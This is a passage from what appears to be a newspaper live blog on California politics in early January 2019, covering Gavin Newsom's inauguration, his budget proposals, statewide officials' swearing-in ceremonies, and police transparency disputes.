several days to sort out after Tuck held an initial lead in early returns on election night before falling behind thereafter. Thurmond was sworn in Monday by retired Alameda County Superior Court Judge Gordon Baranco. He was joined on stage by labor rights leader Dolores Huerta and Assembly Speaker Anthony Rendon (D-Paramount). Thurmonds former colleagues in the state Assembly took turns praising him and promising to be an ally in improving schools. Many said they expected Thurmond would be a strong leader focused on improving student outcomes. We know we are going to work hard to give you the money you need and the budget you need to fully fund education and our schools so we can put our money where our mouth is and make sure our children have everything they need, Assemblywoman Connie Leyva (D-Chino Hills) said. As state superintendent, Thurmond will oversee the education of 6.2 million students at 10,000 schools. Thurmond was a member of the West Contra Costa County School Board and a Richmond city councilman before he was elected to the state Assembly. Tony is the right man at the right time to fight the federal, Donald Trump, Betsy DeVos anti-child, anti-education, anti-civil and -human rights agenda, U.S. Rep. Barbara Lee (D-Calif.) said. Tony is going to do that for us. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print State Controller Betty Yee takes oath of office with call for more affordable housing and healthcare State Controller Betty Yee California Controller Betty Yee took the oath of office Monday for a second term, saying she still has work to do addressing problems that include a lack of affordability in housing, healthcare and higher education. A San Francisco native, Yee is the chief financial officer of California the fifth-largest economy in the world having first won election to the post in 2014 before winning reelection in November. No region is spared from the widening inequality and increased poverty that plague our state, fueled by the lack of affordable, stable housing, the cost of healthcare and transportation, limited educational opportunities, student loan debt, displacement caused by disasters and more, she said. Yee was administered the oath of office by California Supreme Court Chief Justice Tani G. Cantil-Sakauye at the Crocker Art Museum in Sacramento before an overflow crowd that included state Senate leader Toni Atkins (D-San Diego), state Atty. Gen. Xavier Becerra and San Francisco Mayor London Breed. As a public official it is about governance that delivers results and stays accountable while upholding the underlying value of dignity for all, Yee said. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California Atty. Gen. Xavier Becerra begins new term promising to fight Trump policies California Atty. Gen. Xavier Becerra ( (Rich Pedroncelli / Associated Press)) California Atty. Gen. Xavier Becerra on Monday took the oath of office for a new term, saying he would continue his role as a leading challenger to Trump administration actions that he believes are counter to the states interests. Becerra, a former 12-term congressman, has become a national opposition figure to Trump, having sued the federal government 45 times since he was appointed as the states first Latino attorney general in 2017. Weve been a little busy stopping the dysfunction and insanity in Washington, D.C., from infecting California, Becerra told an audience during a swearing-in ceremony at the California Museum in Sacramento. Whether its the criminals on our streets or the conman in the boardrooms or highest office of the land, Becerra said, the California Department of Justice, well, weve got your back. Becerra won his first statewide election as the states top cop in November, two years after he filled the post vacated when predecessor Kamala Harris was elected to the U.S. Senate. He has peppered the Trump administration with lawsuits challenging federal policies on healthcare, the U.S. census, the environment and immigration. Our state builds dreams, not walls, he said in a direct criticism of Trumps proposal to build a wall at the U.S.-Mexico border. Just last week, Becerra led a coalition of 17 Democratic attorneys general in announcing an appeal of a federal judge in Texas that ruled the Affordable Care Act unconstitutional. The ACA has been the law for nearly a decade and is the backbone of our healthcare system, Becerra said last week. This case impacts nearly every American workers covered by employers, families, women, children, young adults and seniors so we will lead the ACAs defense as long and far as it takes. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement California Democratic Party Vice Chairman Daraka Larimore-Hall announces bid to lead group By Christine Mai-Duc Daraka Larimore-Hall. (Dominic Parisi / Courtesy of Daraka Larimore-Hall) Daraka Larimore-Hall, a top official at the California Democratic Party, said Monday hes running to replace former chairman Eric Bauman, who resigned abruptly in November after being confronted with allegations of sexual misconduct. Larimore-Hall, a longtime state party activist and former chairman of the Democratic Party of Santa Barbara County, was one of the party leaders who urged Bauman to resign following the allegations. In an email to supporters announcing his bid, he urged both structural and cultural change at every level of our Party. He also repeated his call for a top-to-bottom investigation of the allegations, the party and its culture. In a Times investigation, 10 party activists and staff members said Bauman made crude sexual comments and engaged in unwanted touching and physical intimidation in professional settings. In order to be where we need to be for 2020, we have to confront the culture of abuse and fear that allowed someone to behave in such a vile way for so long, Larimore-Hall said in an interview. We cant brush it aside or think that our activists or our candidates or our donors are going to forget about this overnight. Larimore-Hall said his first priority would be to fully investigate the allegations and restore rank-and-file confidence in the partys leadership. The second would be to refocus the party on political priorities as the 2020 presidential election nears. The Bauman episode, Larimore-Hall said, threatens to derail the Democrats plans to help defeat President Trump and keep the seven congressional seats gained in the midterm elections. Its definitely a crisis, Larimore-Hall said. But the component parts the energy, the enthusiasm, the volunteers, the infrastructure its still there. We just need to direct it toward something. Larimore-Hall was elected vice chairman of the state party in February following Baumans razor-thin victory over Bay Area activist Kimberly Ellis. Ellis has announced another bid for the chairmanship and former state Senate leader Kevin de Leon is also mulling a run. The vote will take place at the partys May convention in San Francisco. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Newsom will vow to seize this moment, and swipe at Trump in Monday inaugural address By Melanie Mason Gov.-elect Gavin Newsom and his family attend an Inauguration Family Event at the California Railroad Museum in Sacramento on Jan. 6. (Kent Nishimura / Los Angeles Times) Building on the theme of California exceptionalism that defined his campaign, Gov.-elect Gavin Newsom will depict the state as a guardian of progressive values and a counterweight to President Trump in his inaugural address Monday, according to excerpts of his prepared remarks. What we do today is even more consequential, because of whats happening in our country, read the excerpts obtained by The Times. Peoples lives, freedom, security, the water we drink, the air we breathe they all hang in the balance. The country is watching us. The world is waiting on us. The future depends on us. And we will seize this moment. The speech casts Californias political stakes in a decidedly national scope, promising an agenda that will unify and be an example to the rest of the country. It contrasts the governing goals of Newsom, a Democrat, with that of Trump, the incoming governors perennial foil. We will offer an alternative to the corruption and incompetence in the White House, the excerpts say. Our government will be progressive, principled, and always on the side of the people. Newsom campaigned on an ambitious and wide-ranging platform, promising sweeping solutions on housing, healthcare, education and other issues that rank among Californians top concerns. In the weeks after his election, he struck a more muted tone, taking pains to emphasize his fiscal caution and need for patience in achieving those goals. The inaugural excerpts indicate a return to lofty pledges. While Newsom will vow to prepare for uncertain times ahead by building budgetary reserves and paying down debt, the prepared remarks quickly turn to a vow to be bold. Newsom has already floated several proposals for his first budget that carry significant price tags, including a nearly $2-billion plan to boost early childhood development for low-income families and a dramatic expansion of paid family leave from six weeks to six months. When asked for a preview of his inauguration speech during a news conference Sunday evening, Newsom predicted pundits would criticize his address as short on specifics. Well, of course, Im at an inaugural, Newsom said. But Ill be very detailed in the budget, a few days later. And then we will architect, in much more nuance and detail, in state of the state. I really see this as three opportunities to communicate over the next few weeks our agenda, our vision for the state. Times staff writer Taryn Luna contributed to this report. Read More Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Newsom-hosted benefit concert raises nearly $5 million for wildfire victims By Taryn Luna Gov.-elect Gavin Newsom speaks at a concert to benefit wildfire victims at the Golden 1 Arena in Sacramento on Jan. 6. (Kent Nishimura / Los Angeles Times) On the eve of the gubernatorial inauguration, Californias political class rubbed elbows in Sacramento for a benefit concert hosted by Gov.-elect Gavin Newsom and headlined by the rapper Pitbull. Newsom told the crowd gathered at the Golden 1 Center on Sunday evening that the fundraiser brought in nearly $5 million for the California Wildfire Foundation, a 501(c)(3) that supports the families of fallen firefighters and communities affected by wildfires. You know, a lot of folks feel anxious about not just politics, but government, Newsom said on stage before introducing the rapper and activist Common. But those firefighters, they are the antidote to the fear and cynicism; they are the manifestation of why government matters and why you should care. Top sponsors, including Salesforce, Kaiser Permanente and other interest groups, paid up to $1 million each to support the cause and curry favor with the new administration. Nathan Click, a spokesman for Newsom, said organizers sold more than 7,000 tickets. Several state lawmakers attended the concert alongside Capitol staff, lobbyists and business types, who mingled on the floor of the arena and offstage in private VIP areas. The rock band X Ambassadors and a duo called the Cold Weather Sons from the town of Paradise, which was destroyed by fire in November, were among several performers who entertained the crowd during the four-hour event. The California Rises concert is the final in a series of festivities held Sunday to celebrate the inauguration of Californias 40th governor. Earlier in the day, Newsom attended a private brunch at Sacramentos Crocker Art Museum and his inaugural committee hosted a free party for families at the California State Railroad Museum at the Old Sacramento Waterfront. Newsoms inauguration is set to begin at 11 a.m. Monday on the steps of the Capitol. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Inauguration fever hits Sacramento as Gov.-elect Gavin Newsom prepares to take office By Phil Willon Gov.-elect Gavin Newsom holds his son, Dutch, as he and his family attend an inaugural event at the at the state Railroad Museum Sunday. (Kent Nishimura / Los Angeles Times) Incoming Gov. Gavin Newsom doesnt officially take the oath of office until Monday, but the parties celebrating his inauguration were in full swing all day Sunday. Newsom and his family were mobbed by well-wishers at the California State Railroad Museum at the Old Sacramento Waterfront in the afternoon, where his inaugural committee hosted a free party for families. He just has charisma. Hes able to really connect with people, said Rosielyn Pulmano, an attorney from Elk Grove who came to see Newsom with her husband, two sons and her niece. I think he cares about working Californians and a lot of their issues. Newsom arrived with his wife, documentary filmmaker Jennifer Siebel Newsom, and their four young children, and the governor-elect spent a good deal of his time wading through crowds, taking selfies with supporters and signing autographs as music boomed in the background. As the family toured the inside of the museums locomotives and the bevy of exhibits, Newsoms two-year-old son, Dutch, was wide-eyed, impressed by all the train cars and seemingly a little overwhelmed by the crowd. Newsom said that for his son, all that was missing from the museum was Thomas the Train, popular fictional locomotive in childrens books and cartoons . If theres one thing I can contribute to Sacramento maybe its getting a Thomas the Train exhibit for the two years olds, Newsom joked when talking with reporters afterward. Newsom said he wanted to include such an event in his inaugural festivities to highlight families and children, whose wellbeing will be among the top priorities of his administration. Youll see that not only as a preamble to the inaugural and the budget that well be submitting next week, but I think itll be a big part of the administration, Newsom said. The museum event followed a private, high-dollar brunch at Sacramentos Crocker Art Museum. A steady rain failed to dissuade as many as 200 guests who sipped wine and dined on chicken and salmon while waiting for a photo with Californias new first couple. Seen at the event were representatives of some of the states most powerful political interests, among them organized labor, healthcare companies and tribal gaming interests. A few other high-profile guests attended, too, including Larry Baer, CEO of the San Francisco Giants, and Erika Jayne, a singer and cast member of the reality TV show The Real Housewives of Beverly Hills. Im excited to see someone like Gavin young, vibrant taking over the state and leading us into the future, Jayne said after attending the brunch with her husband, attorney Tom Girardi. Hes got a lot of great plans. Attendees said the event, which was closed to reporters and held under a tent in the museums outdoor atrium, did not include prepared remarks by Newsom. Among those seen leaving the event were representatives of AT&T, the California Medical Assn., Uber, Kaiser Permanente and the State Building and Construction Trades Council. A fundraising invitation obtained by The Times offered bundled tickets to all of the inauguration events, including those on Sunday and the Monday ceremony, ranging in price from $25,000 to $200,000. The money will be collected by a committee specifically organized to pay for Newsoms inaugural weekend. Sundays festivities are scheduled to end with a benefit concert headlined by Pitbull at the Golden 1 Center, home of the NBAs Sacramento Kings, to raise money for the victims of Californias recent deadly wildfires. Among the attendees at @GavinNewsoms pre-inaugural leadership brunch: Real Housewife of Bev Hills @erikajayne. Im excited to see someone like Gavinyoung, vibranttaking over the state and leading us into the future. Hes got a lot of great plans. pic.twitter.com/561NHiy2XQ Melanie Mason (@melmason) January 6, 2019 Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement As Newsom inaugural events begin, he unveils more state budget promises on education and paid family leave Gov.-elect Gavin Newsom, seen here last April, will propose new state budget efforts on paid family leave and education subsidies. (Irfan Khan / Los Angeles Times) Californias incoming governor, who must send his first state budget plan to the Legislature this week, has already signaled a significant new focus on programs to help families and children from infancy to college. Gov.-elect Gavin Newsom campaigned on a platform that included a number of child-focused efforts specifically aimed at helping lower-income families. The price tag for the initial efforts is expected to approach $2 billion a cost paid out of an unrestricted tax revenue windfall that could be one of the largest in state history. Newsom may also seek help for families through new subsidies paid by California employers. The governor-elect is expected to propose a dramatic expansion of paid parental leave from six weeks to six months according to an internal document provided by a source close to the Newsom transition team, first reported on Sunday by the New York Times. The document doesnt offer a full explanation for how the program will be funded, saying instead that the budget will set a goal of ensuring that all newborns and newly adopted babies can be cared for by a parent or a close family member for the first six months. Employers across the state are currently assessed a payroll tax that helps offer a subsidy to parents who temporarily leave their job to care for a newborn. Newsoms plan, according to the document, would pay for some of the new costs by shrinking the mandated cash reserve of the state fund that administers the program, allowing more of the money to be paid in benefits. The increase in paid leave would not all happen at once but instead be phased in over a multi-year period. A task force to help implement the expanded care plan is also envisioned, according to the document. It would determine whether two parents could split the six months of paid leave and whether an extended family member could be enlisted to help care for the child of a single parent over the six-month period. The incoming administrations focus on young children will also include $1.8 billion in new spending on early childhood education programs, with a particular focus on training childcare workers and pushing for more California schools to offer full-day kindergarten. Those costs, according to an overview memo obtained by the Los Angeles Times, are considered to be a one-time expense while leaving the long-term costs of the effort to be determined later. More community college students would get free tuition under a third initiative expected in the new governors budget plan. Newsom will propose spending $40 million to offer a second year of tuition-free college to California students, according to an outline provided by a transition official, first reported by Politico. Students are already eligible for a single year of paid tuition under a plan agreed to by Gov. Jerry Brown and lawmakers in 2017. The incoming governor embraced the idea of free community college during the 2018 campaign as part of a broader focus on additional investments in higher education. Education is an economic development strategy, Newsom said at a higher education forum last spring. We need to significantly increase the investment from the general fund of this state on higher education. Theres no greater higher return on investment. Whether the proposal would be targeted to students based on a familys financial need is unclear. Many low-income students are already eligible for fee waivers at community colleges. The new governor must submit his full state budget plan to lawmakers no later than Thursday. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Gavin Newsom and his family decide Sacramento is the place to be The Old Governors Mansion State Historic Park in Sacramento. Gov.-elect Gavin Newsom will move his family into the mansion. (Rich Pedroncelli / Associated Press) Gov.-elect Gavin Newsom and his family will give up the Marin County life and move to the Victorian-style governors mansion in Sacramento after he takes the oath of office Monday. Newsom and his wife, documentary filmmaker Jennifer Siebel Newsom, had debated whether or when to relocate to the state capital since his election in November. The couple have four young children and expressed reservations about moving in the middle of a school year. To best serve the people of California while also maximizing family time together, the Newsoms have therefore decided to move to Sacramento, said Newsoms spokesman, Nathan Click. On Monday, they will move into the Governors Mansion along with their four children, their two family dogs, and their family bunny rabbit and reside there for the immediate future. The Newsoms currently live in Marin County. Gov. Jerry Brown and his wife, Ann Gust Brown, moved into the grand house in 2015 after it underwent $4.1 million in renovations to update electrical and plumbing systems, as well as to remove lead-based paint and install a fire sprinkler system and other security features. The mansion was built in 1877 and has been home to 14 governors, but before Brown it had not housed a California governor for nearly half a century. The state bought the mansion from a wealthy Sacramento hardware merchant, Albert Gallatin, in 1903 for $32,500. It was one of the few California homes at that time to have indoor plumbing. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Newsom announces top labor, business liaisons as he prepares to take office Julie Su will be secretary of the California Labor and Workforce Development Agency for Gov.-elect Gavin Newsom. (Katie Falkenberg / Los Angeles Times) Gov.-elect Gavin Newsom on Friday named two advisors on issues related to the California economy, each recognized for their expertise on business and labor. The incoming governor will appoint Julie Su as secretary of the California Labor and Workforce Development Agency and Lenny Mendonca as chief economic and business advisor and director of the Governors Office of Business and Economic Development. Su, 49, has served as state labor commissioner under Gov. Jerry Brown since 2011 and has led an office tasked with the enforcement of Californias labor laws. She won a MacArthur Foundation genius grant in 2001 and previously worked as a civil rights attorney representing low-wage workers. In her new position, Su will be tasked with coordinating the work of several workforce departments in state government, including those that administer unemployment benefits and oversee the relationship between agriculture workers and employers. Mendonca, 57, has been a longtime advocate for rethinking government operations as co-chairman of the nonprofit organization California Forward. Previously, he was partner at McKinsey & Co., a global management consulting firm. While he will be a key advisor to Newsom on the states economy, Mendonca will also lead the office often referred to as Go-Biz, designated as a high-level way to encourage job growth and economic development. In his new role, Mendonca will help ensure that California is rolling out the welcome mat to current and future California businesses and growing a sustainable economy for every Californian, said a statement from the Newsom transition team. Newsom will take the oath of office as governor Monday. He has previously selected key advisors on the state budget, legislative affairs and the executive branchs wide array of agencies and departments. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Joshua Groban, aide to Gov. Jerry Brown, sworn in to California Supreme Court By Taryn Luna California Supreme Court Justice Joshua Groban gives remarks after he is sworn into the court by Gov. Jerry Brown on Thursday. (Taryn Luna) California Supreme Court Justice Joshua Groban, a lawyer and longtime aide to Gov. Jerry Brown, was sworn into the states highest court Thursday in Sacramento. The ceremony marked Browns fourth appointment to the state Supreme Court and gave the seven-member bench a Democratic majority. We live in a highly chaotic, ever-changing and ever-confusing world, Groban said in prepared remarks at the Stanley Mosk Library and Courts Building. But Im happy to report that Im joining an institution whose fundamental purpose, at core, is to provide stability and consistency amidst this chaotic place we live. I look forward to doing that with a sense of reflection, respect, fidelity to the law and compassion. None of Browns appointees, Groban included, have judicial experience. Groban served as legal counsel to Browns 2010 gubernatorial campaign and joined the administration as a senior advisor to the governor, overseeing the appointments of some 600 judges over the last eight years. Prior to working with Brown, Groban, 45, practiced law for more than a decade. In perhaps his final public appearance before his successor, Gov.-elect Gavin Newsom, takes office next week, Brown pushed back on notions that he stacked the court. I dont want this to be known as a Brown court, the governor said before administering the judicial oath of office. First of all, the so-called Brown appointments do not agree with themselves and nor should they. They are individuals. They will differ. Its not anybodys court. The governor called the court a high calling and said Groban possesses the values for the job. Probably, next to my wife, Ive talked to no person as much as Ive talked to Josh Groban, Brown said. I think youve talked to him more, Californias First Lady Anne Gust Brown interjected. I cant tell you what the hell hes going to do, Brown later quipped. I warned him, dont screw up, at least not at first. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement California campaign watchdog agency seeks law barring use of campaign funds to fight harassment claims Former state Sen. Tony Mendoza (D-Artesia). ( (Steve Yeater / Associated Press)) Elected officials accused of harassment or discrimination would be barred from using political contributions to cover their legal defense costs under legislation proposed by Californias campaign watchdog agency. The state Fair Political Practices Commission has agreed to pursue a law change to clear up confusion after an attorney for one former state lawmaker argued political funds could be used in such legal defenses. Commission Chairwoman Alice Germond said putting a prohibition into the law would provide some much needed clarity. As chair, I would like to show the public their lawmakers are held to a standard that is above reproach, Germond said in a statement. People dont give money to campaigns for lawmakers to use it to defend their own bad behavior, so lawmakers shouldnt be able to use it in that manner. The issue came up a year ago when an attorney for former Sen. Tony Mendoza (D-Artesia) sought a formal opinion from the FPPC after the Senate launched an investigation that later concluded Mendoza likely engaged in a pattern of harassment against female aides. Mendoza resigned in February under threat of expulsion by the Senate. In a Jan. 10, 2018, letter, Cassandra Ferrannini, an attorney for Mendoza, wrote to the FPPC that she believed Mendoza should be allowed to establish a legal defense fund able to defray his legal expenses in defending himself against the allegations. The use of campaign funds for attorneys fees under these circumstances would fall squarely within the scope of legislative matters, since it involves the alleged conduct of a legislator with regard to legislative staff that he supervised, Ferrannini wrote. The commission staff originally issued an advice letter that said Mendoza may use campaign and legal defense funds to defend himself from claims of sexual harassment that arose directly out of his activities or status as a candidate or elected officer. But the panel later rescinded the letter after some members questioned using campaign funds to fight sexual harassment claims. That left uncertainty about what was allowed, which Germond said could be cleared up by a new law. The FPPC is still looking for a legislator to carry the bill, a spokesman said. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Californias landmark police transparency law takes effect after court denies police union effort to block it California Supreme Court building (Eric Risberg / Associated Press) A new state law allowing the public disclosure of internal police shooting investigations has gone into effect after the California Supreme Court on Wednesday denied a bid by a police union to block it. The law opens to the public for the first time internal investigations of officer shootings and other major uses of force, along with confirmed cases of sexual assault and lying while on duty. The San Bernardino County Sheriffs Employees Benefit Assn. challenged the law last month, asking state Supreme Court justices to decide that the law only apply to incidents that occur in 2019 or later. The court rejected that request Wednesday, allowing members of the public to seek all applicable records held by police departments. Union president Grant Ward said in a statement that his organization was disappointed with the decision and is now seeking other legal options. We feel this is a statewide issue and should be considered accordingly, Ward said. Last month, the city of Inglewood authorized the destruction of more than 100 police shooting investigations and other records in advance of Jan. 1, when the disclosure law was scheduled to take effect. California law requires police departments to keep such records for five years, and Inglewood City Council voted to destroy records older than that. Mayor James T. Butts has said the decision had nothing to do with the new law. In Los Angeles, Police Chief Michel Moore has said that complying with the new disclosure rules could take hundreds of thousands of hours of work. State Sen. Nancy Skinner (D-Berkeley), the author of the transparency law, has said she has no immediate plans to propose changes to it. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Few complaints of racial profiling are sustained by police agencies in California, state panel finds CHP Officer J. Nelson stands outside the office of Gov. Jerry Brown as activists in 2015 support requiring the tracking of police stops. (Rich Pedroncelli / Associated Press) Law enforcement agencies in California sustain few citizen complaints of racial or identity profiling, according to a report Wednesday by a state panel set up to help reduce bias in policing. The states Racial and Identity Profiling Advisory Board recommended in its annual report that law enforcement agencies improve training and adopt clear guidelines for tracking and reporting data on who is stopped by officers. The panel said that 453 law enforcement agencies in the state received 9,459 civilian complaints in 2017, including 865 complaints alleging racial or identity profiling. Of the racial and identity complaints that reached a disposition that year, 1.5% were sustained, 14.6% resulted in officers being exonerated and 83.9% of complaints were not sustained or were determined to be unfounded, the report said. A clearer picture of the issue is expected from a 2015 law that requires police agencies to report demographic data on all detentions and searches. The first reports by the eight largest agencies, including the Los Angeles Police Department and the Los Angeles County Sheriffs Department, are due to be submitted in April. California Atty. Gen. Xavier Becerra, whose office oversees the board, said tracking of all detentions and searches will be helpful to understand the scope of the issue. The Boards recommendations will help make our law enforcement agencies more transparent and promote critical steps to enhance, and in some cases, repair the public trust, Becerra said in a statement Wednesday. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California housing crisis podcast: What Minneapolis decision to end single-family zoning might mean for California A view of downtown Minneapolis in 2014 (Stephen Maturen / Getty Images) Theres a national movement brewing to roll back zoning rules in cities that only allow one house on a plot of land. The epicenter of that movement is Minneapolis, which passed a plan last month to eliminate single-family zoning citywide and let landowners build duplexes and triplexes on residential property. On this episode of Gimme Shelter: The California Housing Crisis Podcast, we talk about the reasons why Minneapolis leaders took this action, including their desire to combat a history of racial exclusion and spur more housing density to fight climate change. We also debate how Minneapolis decision might affect housing politics in California. Our guest is Minneapolis City Council President Lisa Bender, who helped shepherd the new zoning rules to passage and a former San Francisco city planner. The episode also crowns 2018s Avocado of the Year the most ridiculous story exemplifying Californias housing woes and includes our predictions for the most under-the-radar important themes in housing politics in 2019. Gimme Shelter, a biweekly podcast that looks at why its so expensive to live in California and what the state can do about it, features Liam Dillon, who covers housing affordability issues for the Los Angeles Times Sacramento bureau, and Matt Levin, data and housing reporter for CALmatters. You can subscribe to Gimme Shelter on iTunes, Stitcher, Soundcloud, Google Play and Overcast. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement How young immigrant Dreamers made flipping control of the House a personal quest By Jazmine Ulloa Gabriela Cruz, who was brought to the U.S. illegally when she was 1, couldnt vote, but in the final hours before the Nov. 6 election, she was making one last run to get people to the polls. The sun was setting in Modesto when she found Ronald Silva, 41, smoking a cigarette on a tattered old couch behind a group home. He politely tried to wave her off until she reminded him he had a right that she as an immigrant without citizenship didnt have. It could really make a change for us, said Cruz, 29. Read More Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Gov.-elect Gavin Newsom will propose almost $2 billion for early childhood programs (Allen J. Schaben / Los Angeles Times) Seeking to frame his new administration as one with a firm focus on closing the gap between children from affluent and poor families, Gov.-elect Gavin Newsom will propose spending some $1.8 billion on an array of programs designed to boost Californias enrollment in early education and child-care programs. Newsoms plan, which he hinted at in a Fresno event last month, will be a key element in the state budget proposal he will submit to the Legislature shortly after taking office Monday, a source close to the governor-elects transition team said. The spending would boost programs designed to ensure children enter kindergarten prepared to learn, closing what some researchers have called the readiness gap that exists based on a familys income. It would also phase in an expansion of prekindergarten and offer money to help school districts that dont have facilities for full-day kindergarten. The fact that hes making significant investments with his opening budget is really exciting, Ted Lempert, president of the Bay Area-based nonprofit Children Now, said Tuesday. Whats exciting is the comprehensiveness of it, because its saying were going to focus on prenatal through age 5. A broad overview document reviewed by The Times on Tuesday shows that most of the outlay under the plan $1.5 billion would be a one-time expense in the budget year that begins July 1. Those dollars would be a single infusion of cash, an approach favored by Gov. Jerry Brown in recent years. Most of the money would be spent on efforts to expand child-care services and kindergarten classes. By law, a governor must submit a full budget to the Legislature no later than Jan. 10. Lawmakers will spend the winter and spring reviewing the proposal and must send a final budget plan to Newsom by June 15. Though legislative Democrats have pushed for additional early childhood funding in recent years a key demand of the Legislative Womens Caucus those actions have typically come late in the budget-writing season in Sacramento. Quite frankly, to start out with a January proposal that includes that investment in Californias children reflects a new day, state Sen. Holly J. Mitchell (D-Los Angeles) said. The governor-elect will propose a $750-million boost to kindergarten funding, aimed at expanding facilities to allow full-day programs. A number of school districts offer only partial-day programs, leaving many low-income families to skip enrolling their children because kindergarten classes end in the middle of the workday. Because the money would not count toward meeting Californias three-decades-old education spending guarantee under Proposition 98, which sets a minimum annual funding level for K-12 schools and community colleges, it will not reduce planned spending on other education services. Close behind in total cost is a budget proposal by Newsom to help train child-care workers and expand local facilities already subsidized by the state, as well as those serving parents who attend state colleges and universities. Together, those efforts could cost $747 million, according to the budget overview document. An expansion of prekindergarten programs would be phased in over three years at a cost of $125 million in the first year. The multiyear rollout would, according to the budget overview, ensure the system can plan for the increase in capacity. Lempert said the Newsom proposal is notable for trying to avoid the kinds of battles that in recent years pitted prekindergarten and expanded child care against each other for additional taxpayer dollars. The reality is we need to expand both simultaneously, he said. Another $200 million of the proposal would be earmarked for programs that provide home visits to expectant parents from limited-income families and programs that provide healthcare screenings for young children. Some of the money would come from the states Medi-Cal program, and other money from federal matching dollars. Funding for the home visits program was provided in the budget Brown signed last summer; the Newsom effort would build on that. Emphasizing a policy area with broad appeal in his first state budget could reflect Newsoms political sensibility about the challenges ahead. Democratic lawmakers and interest groups will be especially eager to see how Newsom addresses the demand for an overhaul of healthcare coverage in California especially after a 2017 effort to create a single-payer, universal system fizzled. The path forward on healthcare is complex and costly, making early childhood education a more achievable goal in the governor-elects early tenure. Newsom is likely to face considerable demands for other additional spending. In November, the Legislatures independent analysts projected that continued strength in tax revenues could produce a cash reserve of some $29 billion over the next 18 months. Almost $15 billion of that could be in unrestricted reserves, the kind that can be spent on any number of government programs. Kim Belshe, executive director of the child advocacy organization First 5 LA and a former state health and human services secretary, said the initial Newsom budget proposal suggests the next governor will focus on a comprehensive approach to improving outcomes for children from low-income families. School-ready kids deserve quality early learning, strong and well-supported families, and access to early screening services, Belshe said. Newsom understands the whole child, multifaceted needs of our kids and is clearly ready to lead. Mitchell, the chair of the Senate budget committee, said shes eager to see the details of the governor-elects proposal to determine whether it might signal the beginning of an even broader expansion of early education efforts. Similar efforts have been hindered by a lack of money and ongoing debate over which services to help children 5 and younger need state funding the most. Universal preschool, in particular, has been debated for more than a decade. California voters rejected a ballot measure to fund a full prekindergarten system in 2006. Its clear theres a new movement afoot trying to engage on investment for universal preschool, Mitchell said. How we invest, and how we prioritize that investment, is going to be a great conversation for the coming months. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California Politics Podcast: A final conversation with Gov. Jerry Brown No Californian has served longer as governor, signed more laws, granted clemency to more felons or waged more high-profile campaigns than Gov. Jerry Brown. Brown will leave behind a unique legacy when he packs his last belongings for the trip from the governors mansion in Sacramento to his Northern California ranch. His final two terms in office could be his most consequential. The governor reviewed some of the more notable moments from the past eight years in a far-reaching interview with The Times on Dec. 22. This weeks podcast episode includes extended portions of that conversation. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement A sagging economy could doom a 2020 ballot measure to raise commercial property taxes, Gov. Jerry Brown says Gov. Jerry Brown, at his Colusa County home on Saturday, said a ballot measure to raise commercial property taxes could struggle in 2020. (Randall Benton/For The Times) An effort to remove commercial property in California from the tax limits imposed by the landmark Proposition 13 could be felled by an economic slowdown, Gov. Jerry Brown said. In a Saturday interview with The Times at his Northern California ranch, Brown said liberal activist groups that have successfully placed the proposal on the November 2020 statewide ballot shouldnt read too much into early poll numbers showing support for the plan. That isnt as easy as you think, Brown said. Because youre going to be in a downturn of the business cycle. And youre talking many kinds of business. And the cost of doing business in California is already high. The ballot measure would allow counties to more frequently assess the market value of commercial property in California than allowed under Proposition 13, a 1978 ballot initiative that amended the state constitution to place strict limits on assessing property values and taxation for both homeowners and businesses. An analysis of the new measure, which qualified in October for the 2020 ballot, estimates it could bring in some $10.5 billion a year in new tax revenue. The business community will fight it, Brown said. And the minimum wage, the family leave, the environmental rules business[es] have left California, thats going to be the big argument. And I think thats something you really have to think a lot about. The governor, who leaves office early next month due to term limits, declined to either endorse or oppose the ballot measure. He said Californias economic health in two years time could be a key factor in how voters weigh the proposal. Well be in a recession by then, Brown said. So its anybodys guess. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Inglewood to destroy more than 100 police shooting records that could otherwise become public under new California law By Jack Dolan Inglewood Mayor James T. Butts (Maria Alejandra Cardona / Los Angeles Times) The city of Inglewood has authorized the shredding of more than 100 police shooting and other internal investigation records weeks before a new state law could allow the public to access them for the first time. The decision, made at a City Council meeting earlier this month, has troubled civil liberties advocates who were behind the state legislation, Senate Bill 1421, which takes effect Jan. 1. The law opens to the public internal investigations of officer shootings and other major uses of force, along with confirmed cases of sexual assault and lying while on duty. The legislature passed SB 1421 because communities demanded an end to the secrecy cloaking police misconduct and use of force, Marcus Benigno, a spokesman for the American Civil Liberties Union of Southern California, said in a statement. Inglewood PDs decision to purge records undermines police accountability and transparency against the will of Californians. California law says police departments must retain records of officer shootings and internal misconduct investigations for five 